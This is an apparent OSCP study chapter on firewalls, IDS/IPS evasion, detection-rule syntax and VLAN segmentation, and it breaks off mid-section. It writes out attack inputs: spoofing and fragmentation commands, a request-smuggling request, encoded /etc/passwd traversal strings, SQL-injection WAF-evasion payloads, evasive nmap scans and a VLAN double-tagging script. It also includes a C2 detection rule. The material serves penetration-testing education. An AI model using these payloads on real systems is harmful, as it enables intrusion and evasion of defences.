Domain 1Recon & ReportingCORE

Network Security Fundamentals

Network security fundamentals including firewall types, IDS/IPS, network segmentation, protocol security, and practical network attack techniques essential for OSCP penetration testing.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#firewalls#ids-ips#network-segmentation#protocol-security

Network Security Fundamentals

OSCP Relevance: Network security is the backbone of every penetration test. Understanding how firewalls, IDS/IPS, and network segmentation work—and how to work around them—is critical for the OSCP exam. This chapter covers the fundamentals you need to navigate, enumerate, and pivot through complex networks.


Table of Contents

  1. Firewall Types and Bypass Techniques
    • 1.1 Packet Filtering Firewalls
    • 1.2 Stateful Inspection Firewalls
    • 1.3 Application Proxy Firewalls
    • 1.4 Next-Generation Firewalls (NGFW)
    • 1.5 Web Application Firewalls (WAF)
  2. IDS vs IPS: Detection and Evasion
    • 2.1 Detection Methodologies
    • 2.2 Deployment Architectures
    • 2.3 IDS/IPS Evasion Techniques
    • 2.4 Snort and Suricata Rule Syntax
  3. Network Segmentation
    • 3.1 VLANs and VLAN Hopping
    • 3.2 Subnetting and Penetration Testing
    • 3.3 Micro-Segmentation and Zero Trust
    • 3.4 DMZ Design and Testing
  4. Protocol Security and Attacks
    • 4.1 TCP/IP Fundamentals for Pentesting
    • 4.2 DNS Security and Attacks
    • 4.3 DHCP Attacks
    • 4.4 ARP Attacks
    • 4.5 LLMNR/NBT-NS Poisoning
  5. OSCP Exam Relevance
    • 5.1 Network Scanning Techniques
    • 5.2 Service Enumeration
    • 5.3 Network Pivoting and Tunneling
    • 5.4 Common Network Services in OSCP
  6. Practical Examples
    • 6.1 Nmap Command Examples
    • 6.2 Wireshark Packet Analysis
    • 6.3 Responder Attack Examples
    • 6.4 ARP Poisoning with Ettercap
  7. Lab Exercises
  8. Key Tools Reference
  9. Exam Tips
  10. Cross-References

1. Firewall Types and Bypass Techniques

Firewalls are the first line of defense in network security. As a penetration tester, understanding how each type works—and where they fail—is essential for reconnaissance and exploitation.

1.1 Packet Filtering Firewalls

How It Works:

Packet filtering firewalls operate at the Network Layer (Layer 3) and Transport Layer (Layer 4) of the OSI model. They inspect individual packets in isolation and make allow/deny decisions based on a set of rules.

┌─────────────────────────────────────────────────┐
│              Packet Filtering Firewall           │
│                                                  │
│  Packet Arrives                                  │
│       │                                          │
│       ▼                                          │
│  ┌─────────────────────────┐                     │
│  │  Extract Header Fields  │                     │
│  │  • Source IP            │                     │
│  │  • Destination IP       │                     │
│  │  • Source Port          │                     │
│  │  • Destination Port     │                     │
│  │  • Protocol (TCP/UDP/ICMP) │                 │
│  └─────────┬───────────────┘                     │
│            │                                     │
│            ▼                                     │
│  ┌─────────────────────────┐                     │
│  │  Match Against Rules    │── No Match ──► DROP │
│  │  (ACL / Rule Table)     │                     │
│  └─────────┬───────────────┘                     │
│            │ Match                                │
│            ▼                                     │
│     ALLOW / FORWARD                              │
└─────────────────────────────────────────────────┘

Rule Evaluation Order:

Rules are evaluated top-down, first-match-wins. This is critical to understand:

Rule #1: ALLOW TCP 192.168.1.0/24 -> ANY ANY      # Internal LAN allowed out
Rule #2: DENY  TCP ANY -> 10.0.0.5 3389            # Block RDP to specific host
Rule #3: ALLOW TCP ANY -> ANY 80,443               # Allow HTTP/HTTPS
Rule #4: DENY  ANY  ANY -> ANY ANY                 # Default deny all

Stateless Nature:

Packet filtering firewalls are stateless—they do not track connection state. Each packet is evaluated independently:

Packet 1: SYN from 192.168.1.100:54321 -> 10.0.0.5:80    → ALLOW (matches Rule 3)
Packet 2: SYN-ACK from 10.0.0.5:80 -> 192.168.1.100:54321 → DENY (no rule for return traffic!)

This is why pure packet filtering is rarely used alone in modern environments.

Limitations:

Limitation Description Impact
No state tracking Cannot distinguish return traffic from new connections Requires explicit rules for bidirectional traffic
No payload inspection Cannot see application-layer content Cannot block malicious payloads in allowed protocols
No user awareness Decisions based on IP/port only Cannot enforce user-based policies
Vulnerable to IP spoofing Trusts source IP without verification Attackers can spoof trusted source addresses
No protocol validation Accepts malformed packets if headers match Can be exploited with crafted packets

Bypass Techniques:

  1. IP Spoofing:

    # Spoof a trusted source IP using hping3
    hping3 -S -a 192.168.1.100 --dest-addr 10.0.0.5 -p 445 10.0.0.5
  2. Fragmentation Attacks:

    # Send fragmented packets to bypass filter inspection
    hping3 -S -f -d 100 --frag 10.0.0.5 -p 445
  3. Protocol Tunneling:

    • Encapsulate blocked traffic within allowed protocols (e.g., DNS tunneling, ICMP tunneling)
  4. Port Redirection:

    • If only ports 80/443 are open, use SSL/TLS tunneling to reach internal services

1.2 Stateful Inspection Firewalls

How It Works:

Stateful firewalls maintain a connection state table that tracks the state of active connections. They make decisions based on both packet headers and the connection’s position in its lifecycle.

┌──────────────────────────────────────────────────────────┐
│              Stateful Inspection Firewall                 │
│                                                          │
│  ┌──────────────────────────────────────────────────┐    │
│  │              Connection State Table               │    │
│  │  ┌────┬──────────┬──────────┬──────┬──────────┐  │    │
│  │  │ #  │  Source   │  Dest    │ State│  Timer   │  │    │
│  │  ├────┼──────────┼──────────┼──────┼──────────┤  │    │
│  │  │ 1  │ 192.168.. │ 10.0.0.5 │ ESTAB│  300s    │  │    │
│  │  │ 2  │ 192.168.. │ 10.0.0.5 │ SYN_S│   60s    │  │    │
│  │  │ 3  │ 10.0.0.5  │ 192.168. │ CLOS_│   30s    │  │    │
│  │  └────┴──────────┴──────────┴──────┴──────────┘  │    │
│  └──────────────────────────────────────────────────┘    │
│                                                          │
│  Packet Arrives                                           │
│       │                                                   │
│       ▼                                                   │
│  ┌─────────────────────┐                                 │
│  │ Check State Table   │── Found, Valid State ──► ALLOW  │
│  └─────────┬───────────┘                                 │
│            │ Not Found                                    │
│            ▼                                              │
│  ┌─────────────────────┐                                 │
│  │ Evaluate ACL Rules  │── Match ──► Create Entry + ALLOW│
│  └─────────┬───────────┘                                 │
│            │ No Match                                     │
│            ▼                                              │
│                  DROP                                     │
└──────────────────────────────────────────────────────────┘

TCP State Machine Tracking:

Client                          Server
  │ ────── SYN ──────────────►  │
  │  [State: SYN_SENT]          │
  │ ◄──── SYN-ACK ─────────────│
  │  [State: SYN_RECEIVED]      │
  │ ────── ACK ──────────────►  │
  │  [State: ESTABLISHED]       │
  │ ◄───── Data ───────────────│
  │  [State: ESTABLISHED]       │
  │ ────── FIN ──────────────►  │
  │  [State: FIN_WAIT_1]        │
  │ ◄──── FIN-ACK ─────────────│
  │  [State: FIN_WAIT_2]        │
  │ ────── ACK ──────────────►  │
  │  [State: TIME_WAIT]         │
  │                              │

State Table Entry Fields:

Field Description
Source IP:Port Client address and ephemeral port
Destination IP:Port Server address and service port
Protocol TCP, UDP, ICMP, etc.
State Current TCP/UDP state (SYN_SENT, ESTABLISHED, etc.)
Sequence Numbers TCP sequence/acknowledgment numbers for validation
Timer Connection timeout (varies by state)
Flags Additional metadata (NAT mapping, policy tags)

Limitations:

Limitation Description Exploitation Vector
Application-blind Cannot inspect payload content Malicious payloads in allowed connections
Protocol confusion May be fooled by protocol anomalies TCP flag manipulation, sequence prediction
Resource exhaustion State table has finite capacity SYN flood, connection exhaustion
Encrypted traffic blind Cannot inspect TLS/SSL payloads Encrypted C2 channels, encrypted exploits
Assumed trust Once established, traffic flows freely Session hijacking, post-exploitation lateral movement

Bypass Techniques:

  1. TCP Flag Manipulation:

    # Send packets with unusual flag combinations
    hping3 --flags SF -S 10.0.0.5 -p 445    # SYN+FIN (invalid combo)
    hping3 --flags F -S 10.0.0.5 -p 445     # FIN only (attempt to bypass)
    hping3 --flags P -S 10.0.0.5 -p 445     # PSH only
    hping3 --flags U -S 10.0.0.5 -p 445     # URG only
  2. Sequence Number Prediction:

    • If the firewall validates sequence numbers, predict or reuse valid sequences from established connections
  3. Connection Hijacking:

    • Take over an existing allowed connection by predicting TCP sequence numbers
  4. Slowloris-style Exhaustion:

    • Fill the state table with half-open connections to block legitimate traffic

1.3 Application Proxy Firewalls

How It Works:

Application proxy firewalls (also called application-level gateways) operate at Layer 7 of the OSI model. They terminate client connections, inspect the full application-layer content, and establish separate server-side connections.

┌─────────────────────────────────────────────────────────────┐
│              Application Proxy Firewall                      │
│                                                              │
│  Client              Proxy Firewall              Server      │
│   │                       │                        │         │
│   │─── HTTP Request ─────►│                        │         │
│   │                       │  [Inspect Full Request]│         │
│   │                       │  • URL validation      │         │
│   │                       │  • Header inspection   │         │
│   │                       │  • Payload scanning    │         │
│   │                       │  • Protocol compliance │         │
│   │                       │                        │         │
│   │                       │─── Clean Request ────►│         │
│   │                       │                        │         │
│   │                       │◄─── Response ──────────│         │
│   │                       │  [Inspect Response]    │         │
│   │                       │  • Data leakage check  │         │
│   │                       │  • Content filtering   │         │
│   │                       │                        │         │
│   │◄─── Response ─────────│                        │         │
└─────────────────────────────────────────────────────────────┘

Deep Inspection Capabilities:

Layer Inspection Type Examples
HTTP Headers Method, Host, User-Agent, Referer Block suspicious User-Agents
URL/Path Path traversal, parameter injection Block ../, SQL injection patterns
Body/Payload File uploads, form data, XML/JSON Scan for malware, XSS, XXE
Cookies Session tokens, authentication Detect session hijacking
SSL/TLS Certificate validation, SNI Block self-signed certs, known bad domains

Performance Impact:

Latency Breakdown:
┌──────────────────────────────────────────────────┐
│  Client → Proxy:     ~5-20ms (local network)     │
│  Proxy Processing:   ~10-100ms (inspection)      │
│  Proxy → Server:     ~5-50ms (backend network)   │
│  Server Processing:  ~10-500ms (application)     │
│  Total Added Latency: ~15-170ms per request       │
└──────────────────────────────────────────────────┘

Throughput Impact:
• CPU-bound: Deep inspection requires significant processing
• Memory-bound: Connection state + buffer storage
• Typical throughput reduction: 30-60% vs. stateless firewall

Bypass Methods:

  1. Protocol Smuggling:

    # HTTP Request Smuggling - TE/CL mismatch
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    0
    
    X
  2. Encoding Evasion:

    # Double URL encoding
    GET /page?file=..%252f..%252fetc%252fpasswd HTTP/1.1
    
    # Unicode normalization
    GET /page?file=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1
    
    # Case manipulation
    GET /PaGe?FiLe=../../etc/passwd HTTP/1.1
  3. Alternative Protocols:

    • Use HTTP/2, WebSocket, or QUIC if only HTTP/1.1 is proxied
    • DNS tunneling for data exfiltration
  4. Direct Connection:

    • If the proxy is not enforcing via NAT, attempt direct connection to backend

1.4 Next-Generation Firewalls (NGFW)

How It Works:

NGFWs combine traditional firewall capabilities with Deep Packet Inspection (DPI), application awareness, and integrated IPS. They provide unified threat management at multiple layers.

┌──────────────────────────────────────────────────────────────┐
│                  Next-Generation Firewall                     │
│                                                               │
│  ┌─────────────────────────────────────────────────────┐     │
│  │              Deep Packet Inspection Engine           │     │
│  │                                                      │     │
│  │  ┌───────────┐  ┌───────────┐  ┌────────────────┐  │     │
│  │  │ Protocol  │  │ Application│  │ Threat         │  │     │
│  │  │ Detection │  │  ID Engine │  │ Detection      │  │     │
│  │  │           │  │            │  │ (IPS/AV)       │  │     │
│  │  │ • TCP/IP  │  │ • HTTP     │  │                │  │     │
│  │  │ • UDP     │  │ • DNS      │  │ • Signatures   │  │     │
│  │  │ • SSL/TLS │  │ • FTP      │  │ • Heuristics   │  │     │
│  │  │ • QUIC    │  │ • SSH      │  │ • Reputation   │  │     │
│  │  └───────────┘  └───────────┘  └────────────────┘  │     │
│  │                                                      │     │
│  │  ┌───────────┐  ┌───────────┐  ┌────────────────┐  │     │
│  │  │ User      │  │ Data      │  │ Policy         │  │     │
│  │  │ Identity  │  │ Loss Prev │  │ Enforcement    │  │     │
│  │  │ Integration│  │ (DLP)     │  │ Engine         │  │     │
│  │  └───────────┘  └───────────┘  └────────────────┘  │     │
│  └─────────────────────────────────────────────────────┘     │
└──────────────────────────────────────────────────────────────┘

Application Awareness:

NGFWs can identify applications regardless of port:

Application Default Port NGFW Detection Method
HTTP 80 Protocol signature, payload patterns
HTTPS 443 SNI, JA3 fingerprint, certificate analysis
Skype 80, 443, 3478 Payload signature, behavior pattern
BitTorrent Various Protocol handshake, payload structure
SSH 22 Protocol banner, key exchange patterns
RDP 3389 Protocol-specific COOKIES, T.125 negotiation

DPI Techniques:

  1. Signature-Based Detection:

    • Match known protocol/application signatures in packet payloads
  2. Behavioral Analysis:

    • Monitor traffic patterns, connection frequency, data volumes
  3. Protocol Anomaly Detection:

    • Detect deviations from protocol specifications (RFC violations)
  4. SSL/TLS Inspection:

    • Man-in-the-middle decryption for HTTPS traffic analysis
    • JA3/JA3S fingerprinting for client/server identification

Bypass Considerations:

Technique Effectiveness Notes
Encryption High NGFW cannot inspect encrypted payloads without SSL inspection
Port hopping Medium Application-aware NGFWs detect apps on non-standard ports
Protocol tunneling Medium-High Encapsulate traffic in allowed protocols
Custom protocols High Unknown protocols may pass through undetected
SSL/TLS without inspection High If SSL inspection is disabled, encrypted traffic is blind

1.5 Web Application Firewalls (WAF)

How It Works:

WAFs specialize in protecting web applications by inspecting HTTP/HTTPS traffic for attack patterns. They sit between web clients and web servers, filtering malicious requests.

┌──────────────────────────────────────────────────────────┐
│                    Web Application Firewall               │
│                                                          │
│  Client ──► WAF ──► Web Server                           │
│                  │                                        │
│                  ▼                                        │
│  ┌─────────────────────────────────────┐                 │
│  │         Rule Evaluation Engine       │                 │
│  │                                     │                 │
│  │  1. Parse HTTP Request              │                 │
│  │  2. Normalize content               │                 │
│  │  3. Apply OWASP rule sets           │                 │
│  │  4. Check custom rules              │                 │
│  │  5. Evaluate reputation data        │                 │
│  │  6. ALLOW / BLOCK / CHALLENGE       │                 │
│  └─────────────────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

OWASP Rule Sets:

WAFs typically implement rules based on OWASP guidelines:

OWASP Category WAF Rule Examples Attack Patterns Detected
SQL Injection Block SQL keywords in parameters UNION SELECT, OR 1=1, '; DROP TABLE
XSS Block script tags, event handlers <script>, javascript:, onerror=
Path Traversal Block directory traversal sequences ../, ..\\, %2e%2e%2f
Command Injection Block shell metacharacters ;, `
File Inclusion Block file inclusion patterns php://filter, data://, expect://
XXE Block XML entity definitions <!ENTITY, SYSTEM, file://

Common WAF Evasion Techniques:

  1. Encoding Attacks:

    # URL double encoding
    GET /page?id=1%2527%2520UNION%2520SELECT%2520*%2520FROM%2520users
    
    # Unicode encoding
    GET /page?id=1&#x27; UNION SELECT * FROM users
    
    # Hex encoding
    GET /page?id=1\x27 UNION SELECT * FROM users
  2. Case and Whitespace Manipulation:

    # Mixed case
    SeLeCt * FrOm users
    
    # Comment injection
    1' U/**/NION/**/SE/**/LECT * FROM users
    
    # Tab/newline injection
    1' UNION%0ASELECT%0A*%0AFROM%0Ausers
  3. HTTP Parameter Pollution:

    # Duplicate parameters
    GET /page?id=1&id=2 UNION SELECT * FROM users
    
    # Parameter position variation
    GET /page?normal=1&id=1 UNION SELECT * FROM users&other=2
  4. Content-Type Manipulation:

    # Send SQL in unexpected content type
    POST /page HTTP/1.1
    Content-Type: image/png
    
    1' UNION SELECT * FROM users--
  5. WAF-Specific Bypasses:

    WAF Common Bypass
    ModSecurity %0a line breaks, variable collisions
    Cloudflare 0x hex encoding, CHAR() function
    AWS WAF /* comments, GROUP_CONCAT
    Azure WAF N() string wrapper, LIKE operator

2. IDS vs IPS: Detection and Evasion

Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are critical network security controls. Understanding their operation and limitations is essential for both defensive and offensive security.

2.1 Detection Methodologies

Signature-Based Detection:

Matches network traffic against a database of known attack patterns.

┌──────────────────────────────────────────────────┐
│          Signature-Based Detection                │
│                                                   │
│  Incoming Traffic                                 │
│       │                                           │
│       ▼                                           │
│  ┌─────────────────────┐                         │
│  │  Extract Features   │                         │
│  │  • Payload bytes    │                         │
│  │  • Protocol fields  │                         │
│  │  • Header values    │                         │
│  └─────────┬───────────┘                         │
│            │                                     │
│            ▼                                     │
│  ┌─────────────────────┐                         │
│  │  Match Against      │                         │
│  │  Signature Database │                         │
│  │                     │                         │
│  │  sig_001: "SELECT * FROM" + SQL context       │                         │
│  │  sig_002: "/etc/passwd" + path traversal      │                         │
│  │  sig_003: "<script>" + XSS context            │                         │
│  └─────────┬───────────┘                         │
│            │                                     │
│     ┌──────┴──────┐                              │
│     │ Match?      │                              │
│     └──┬──────┬───┘                              │
│    Yes│      │No                                │
│        ▼      ▼                                  │
│   ALERT    ALLOW                                 │
└──────────────────────────────────────────────────┘
Aspect Signature-Based Anomaly-Based
Detection Basis Known attack patterns Deviation from baseline
False Positives Low High
False Negatives High (unknown attacks) Low (can detect novel attacks)
Setup Complexity Low (use existing rules) High (requires baseline training)
Maintenance Regular signature updates Periodic baseline retraining
Best For Known threats, compliance Zero-day detection, insider threats

Anomaly-Based Detection:

Establishes a baseline of normal behavior and flags deviations.

┌──────────────────────────────────────────────────┐
│           Anomaly-Based Detection                 │
│                                                   │
│  Phase 1: Baseline Establishment                  │
│  ┌─────────────────────────────────────┐         │
│  │  • Normal traffic volume: 1000 pps  │         │
│  │  • Normal protocols: TCP 80%, UDP 20%│        │
│  │  • Normal hours: 08:00-18:00        │         │
│  │  • Normal destinations: 50 hosts    │         │
│  │  • Normal payload size: 500-1500B   │         │
│  └─────────────────────────────────────┘         │
│                                                   │
│  Phase 2: Real-Time Analysis                      │
│  ┌─────────────────────────────────────┐         │
│  │  Current: 5000 pps (5x baseline)   │ → ALERT │
│  │  Current: TCP 95% (deviation)      │ → ALERT │
│  │  Current: 03:00 (off-hours)        │ → ALERT │
│  │  Current: 200 new destinations     │ → ALERT │
│  └─────────────────────────────────────┘         │
└──────────────────────────────────────────────────┘

2.2 Deployment Architectures

NIDS (Network-Based IDS):

┌──────────────────────────────────────────────────────┐
│                  NIDS Deployment                      │
│                                                      │
│  ┌─────────┐     ┌─────────────┐     ┌─────────┐   │
│  │  LAN    │────►│  Network    │────►│  DMZ    │   │
│  │  Segment│     │  TAP /      │     │  Segment│   │
│  │         │◄────│  Mirror Port│◄────│         │   │
│  └─────────┘     └──────┬──────┘     └─────────┘   │
│                         │                           │
│                         ▼                           │
│                  ┌─────────────┐                    │
│                  │   NIDS      │                    │
│                  │  (Snort/    │                    │
│                  │   Suricata) │                    │
│                  └─────────────┘                    │
│                                                      │
│  • Passive monitoring (no inline placement)          │
│  • Receives copy of traffic via SPAN/TAP             │
│  • Cannot block traffic, only alert                  │
└──────────────────────────────────────────────────────┘

HIDS (Host-Based IDS):

┌──────────────────────────────────────────────────────┐
│                  HIDS Deployment                      │
│                                                      │
│  ┌─────────────────────────────────────┐            │
│  │           Target Host               │            │
│  │                                     │            │
│  │  ┌─────────────────────────────┐   │            │
│  │  │       HIDS Agent            │   │            │
│  │  │                             │   │            │
│  │  │  • File integrity monitoring │   │            │
│  │  │  • Log analysis             │   │            │
│  │  │  • Process monitoring       │   │            │
│  │  │  • Registry/key changes     │   │            │
│  │  │  • User activity tracking   │   │            │
│  │  └─────────────────────────────┘   │            │
│  │                                     │            │
│  └─────────────────────────────────────┘            │
│                                                      │
│  • Installed on individual hosts                     │
│  • Monitors local activity, not network traffic      │
│  • Examples: OSSEC, Wazuh, Windows Event Logs        │
└──────────────────────────────────────────────────────┘

NIDS vs HIDS Comparison:

Feature NIDS HIDS
Placement Network segment Individual host
Visibility Network traffic only Host-level activity
Encrypted Traffic Cannot inspect payloads Can monitor before/after encryption
Resource Impact Network bandwidth Host CPU/memory
Detection Scope Multiple hosts Single host
Bypass Difficulty Medium Harder (host-level)
Examples Snort, Suricata OSSEC, Wazuh, Tripwire

2.3 IDS/IPS Evasion Techniques

Timing-Based Evasion:

# Slow down scan to avoid detection thresholds
nmap -T0 <target>     # Paranoid (slowest)
nmap -T1 <target>     # Sneaky
nmap -T2 <target>     # Polite

# Use timing delays between packets
nmap --scan-delay 5s <target>    # 5 second delay between probes

Fragmentation-Based Evasion:

# Fragment packets to avoid signature matching
nmap -f <target>                    # Fragment with 8-byte MTU
nmap -f -f <target>                 # Double fragmentation

# Using hping3 for custom fragmentation
hping3 -S -f -d 40 --frag 10.0.0.5 -p 80

Protocol Anomaly Evasion:

# Use decoy IPs to hide real source
nmap -D RND:10 <target>            # 10 random decoy IPs

# Idle/zombie scan (use another host as proxy)
nmap -sI <zombie_host> <target>

# SCTP scan (less commonly monitored)
nmap -sY <target>

# FIN scan (may bypass stateless filters)
nmap -sF <target>

# NULL scan (no flags set)
nmap -sN <target>

# XMAS scan (FIN+PSH+URG)
nmap -sX <target>

Encryption-Based Evasion:

# Use encrypted channels to hide payload content
# SSH tunnel
ssh -D 1080 user@jumpbox

# SSL/TLS tunneling
openssl s_client -connect target:443

# Use encrypted C2 frameworks
# Covenant, Metasploit with SSL payloads

Signature Evasion:

Technique Description Example
Obfuscation Encode/encrypt attack payload Base64, hex encoding
Polymorphism Change signature while maintaining function Different SQL injection syntax
Metamorphism Restructure attack code entirely Different exploit implementation
Timing Spread attack across detection window Slow, distributed requests
Decoy traffic Mix attack with legitimate traffic Background noise generation

2.4 Snort and Suricata Rule Syntax

Snort Rule Structure:

action protocol src_ip src_port -> dst_ip dst_port: [options]

Rule Components:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"ET WEB_SERVER SQL Injection Attempt";
    flow:to_server,established;
    content:"SELECT";
    nocase;
    content:"FROM";
    nocase;
    distance:0;
    within:50;
    pcre:"/(\%27)|(\')|(\-\-)|(\%23)|(#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Rule Field Breakdown:

Field Description Example
Action What to do on match alert, log, pass, drop, reject
Protocol Network protocol tcp, udp, icmp, ip
Source IP Source address $HOME_NET, any, 192.168.1.0/24
Source Port Source port any, 80, 1024:
Direction Traffic direction -> (unidirectional), <-> (bidirectional)
Dest IP Destination address $EXTERNAL_NET, any, 10.0.0.0/8
Dest Port Destination port $HTTP_PORTS, 443, :

Common Rule Options:

Option Description Example
msg Alert message msg:"SQL Injection Detected"
content Payload match string content:"SELECT"
nocase Case-insensitive match nocase
offset Byte offset in payload offset:10
depth Number of bytes to check depth:20
distance Bytes after previous match distance:0
within Match within N bytes within:50
pcre Perl-compatible regex pcre:"/pattern/i"
flow Connection state flow:to_server,established
sid Unique rule ID sid:1000001
rev Rule revision rev:1
classtype Alert classification classtype:web-application-attack
priority Alert priority (1-4) priority:1

Suricata Rule Example (with enhancements):

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"ET MALWARE Known C2 Beacon";
    flow:established,to_server;
    http.host;
    content:"evil-c2-server.com";
    nocase;
    http.uri;
    content:"/gate.php";
    pcre:"/\/gate\.php\?id=[a-f0-9]{32}/i";
    metadata:accuracy high;
    metadata:confidence high;
    classtype:trojan-activity;
    sid:2000001;
    rev:1;
)

Writing Custom Detection Rules:

# Test a rule against pcap file
suricata -r capture.pcap -S custom_rules.rules

# Run Snort in inline mode
snort -q -i eth0 -c /etc/snort/snort.conf

# List loaded rules
snort -T -c /etc/snort/snort.conf

3. Network Segmentation

Network segmentation divides a network into smaller, isolated segments to limit attack surface and contain breaches. Understanding segmentation is critical for lateral movement during penetration testing.

3.1 VLANs and VLAN Hopping

VLAN Fundamentals:

VLANs (Virtual Local Area Networks) logically segment a physical network. Each VLAN operates as a separate broadcast domain.

┌──────────────────────────────────────────────────────┐
│                    VLAN Architecture                  │
│                                                      │
│  ┌────────────────────────────────────────────┐      │
│  │              Layer 2 Switch                │      │
│  │                                            │      │
│  │  Port 1 [VLAN 10 - HR]    Port 2 [VLAN 10]│      │
│  │       │                    │               │      │
│  │       ▼                    ▼               │      │
│  │  ┌─────────┐        ┌─────────┐           │      │
│  │  │ HR PC 1 │        │ HR PC 2 │           │      │
│  │  └─────────┘        └─────────┘           │      │
│  │                                            │      │
│  │  Port 3 [VLAN 20 - IT]   Port 4 [VLAN 20] │      │
│  │       │                    │               │      │
│  │       ▼                    ▼               │      │
│  │  ┌─────────┐        ┌─────────┐           │      │
│  │  │ IT PC 1 │        │ IT PC 2 │           │      │
│  │  └─────────┘        └─────────┘           │      │
│  │                                            │      │
│  │  Port 5 [Trunk - 802.1Q]                  │      │
│  │       │                                    │      │
│  │       ▼                                    │      │
│  │  ┌─────────┐                               │      │
│  │  │ Router /│                               │      │
│  │  │ L3 Switch│                              │      │
│  │  └─────────┘                               │      │
│  └────────────────────────────────────────────┘      │
│                                                      │
│  802.1Q Tag Format:                                   │
│  ┌──────────┬──────────┬──────┬──────────────────┐  │
│  │ Priority │  CFP     | VID  │    Type Length   │  │
│  │  (3 bits)│ (1 bit)  |12b   │    (16 bits)     │  │
│  └──────────┴──────────┴──────┴──────────────────┘  │
│  Total: 4 bytes (32 bits) added to Ethernet frame    │
└──────────────────────────────────────────────────────┘

VLAN Hopping Attacks:

Attack 1: Switch Spoofing (Double Tagging)

Attacker sends a frame with TWO 802.1Q tags:

Outer Tag: VLAN 10 (native VLAN of trunk port)
Inner Tag: VLAN 20 (target VLAN)

Frame Structure:
┌──────────┬──────────┬──────────┬──────────┬──────────┐
│ Ethernet │ 802.1Q   │ 802.1Q   │ Payload  │ FCS      │
│ Header   │ Tag 1    │ Tag 2    │          │          │
│          │ VLAN 10  │ VLAN 20  │          │          │
│          │ (Outer)  │ (Inner)  │          │          │
└──────────┴──────────┴──────────┴──────────┴──────────┘

Switch 1 (attacker's switch):
  • Strips outer tag (VLAN 10)
  • Forwards frame with inner tag (VLAN 20)

Switch 2 (core switch):
  • Sees frame tagged VLAN 20
  • Forwards to VLAN 20 port
  • Attacker reaches VLAN 20!

Exploitation with hping3:

# Craft double-tagged frame
# Requires raw socket access and VLAN-aware NIC

# Using scapy for double-tagging attack
python3 -c "
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=10)/Dot1Q(vlan=20)/IP(dst='10.0.20.5')/ICMP()
sendp(pkt, iface='eth0')
"

Attack 2: VLAN Trunk Negotiation (DTP Exploitation)

Dynamic Trunking Protocol (DTP) allows switches to negotiate trunk links.

Attack Steps:
1. Attacker connects to switch port
2. Sends DTP frames requesting trunk negotiation
3. Switch negotiates trunk (if DTP is enabled)
4. Attacker can now send tagged frames for any VLAN
5. Attacker accesses all VLANs on the trunk

Mitigation:
• Disable DTP on all user-facing ports
• Set access ports explicitly: switchport mode access
• Disable unused switch ports

Preventing VLAN Hopping:

Control Implementation
Disable DTP switchport mode access
Set native VLAN Use unused VLAN for native: switchport trunk native vlan 999
Disable unused ports shutdown on unused switch ports
Port security Limit MAC addresses per port
802.1X authentication Require authentication for network access

3.2 Subnetting and Penetration Testing

Subnet Design Principles:

Classful vs Classless Addressing:

Classful (Legacy):
┌─────────────────────────────────────────────┐
│ Class A: 1.0.0.0 - 126.255.255.255         │
│   Mask: 255.0.0.0 (/8)                      │
│   Hosts: 16,777,214                         │
│                                             │
│ Class B: 128.0.0.0 - 191.255.255.255       │
│   Mask: 255.255.0.0 (/16)                   │
│   Hosts: 65,534                             │
│                                             │
│ Class C: 192.0.0.0 - 223.255.255.255       │
│   Mask: 255.255.255.0 (/24)                 │
│   Hosts: 254                                │
└─────────────────────────────────────────────┘

CIDR (Classless Inter-Domain Routing):
┌─────────────────────────────────────────────┐
│ /8   = 255.0.0.0     = 16,777,216 addresses │
│ /16  = 255.255.0.0   = 65,536 addresses     │
│ /24  = 255.255.255.0 = 256 addresses        │
│ /28  = 255.255.255.240 = 16 addresses       │
│ /30  = 255.255.255.252 = 4 addresses        │
│ /32  = 255.255.255.255 = 1 address          │
└─────────────────────────────────────────────┘

Penetration Testing Implications:

Subnet Size Scan Strategy Time Consideration
/8 (16M hosts) Impossible to scan fully Use targeted scanning only
/16 (65K hosts) Very slow full scan Use masscan for port discovery
/24 (254 hosts) Standard full scan ~1-5 minutes with nmap
/28 (14 hosts) Quick detailed scan ~30 seconds
/30 (2 hosts) Immediate detailed scan ~10 seconds

Subnet Discovery During Pentest:

# Discover live hosts in a /24 subnet
nmap -sn 192.168.1.0/24

# Discover subnets by analyzing ARP cache after ping sweep
nmap -sn 10.0.0.0/16 | grep "Nmap scan report" | awk '{print $5}' | cut -d'.' -f1-3 | sort -u

# Use ARP scanning for local subnet discovery
nmap -PR 192.168.1.0/24

# Discover subnet from gateway
arp -a | grep "192.168.1"

3.3 Micro-Segmentation and Zero Trust

Zero Trust Architecture:

┌──────────────────────────────────────────────────────────────┐
│                  Zero Trust Network Model                     │
│                                                              │
│  "Never Trust, Always Verify"                                 │
│                                                              │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐              │
│  │  User    │    │  Device  │    │  Workload│              │
│  │ Identity │    │  Identity│    │  Identity│              │
│  └────┬─────┘    └────┬─────┘    └────┬─────┘              │
│       │               │               │                     │
│       ▼               ▼               ▼                     │
│  ┌─────────────────────────────────────────────┐           │
│  │         Policy Enforcement Point (PEP)       │           │
│  │                                             │           │
│  │  • Continuous authentication                 │           │
│  │  • Context-aware authorization               │           │
│  │  • Least-privilege access                    │           │
│  │  • Micro-segmentation enforcement            │           │
│  └──────────────────────┬──────────────────────┘           │
│                         │                                   │
│                         ▼                                   │
│  ┌─────────────────────────────────────────────┐           │
│  │         Policy Decision Point (PDP)          │           │
│  │                                             │           │
│  │  • Evaluate identity + context + risk       │           │
│  │  • Return: ALLOW / DENY / CHALLENGE         │           │
│  └─────────────────────────────────────────────┘           │
└──────────────────────────────────────────────────────────────┘

Micro-Segmentation vs Traditional Segmentation:

Feature Traditional Micro-Segmentation
Granularity Network-level (VLANs, subnets) Workload/host-level
Policy Scope Per-segment Per-workload, per-application
Lateral Movement Possible within segment Restricted even within same subnet
Enforcement Point Network perimeter Each endpoint/workload
Visibility Network traffic Application-level traffic
Implementation Firewalls, VLANs Host firewalls, SDN, eBPF

Pentesting Implications:

Traditional Segmentation:
┌─────────────────────────────────────────┐
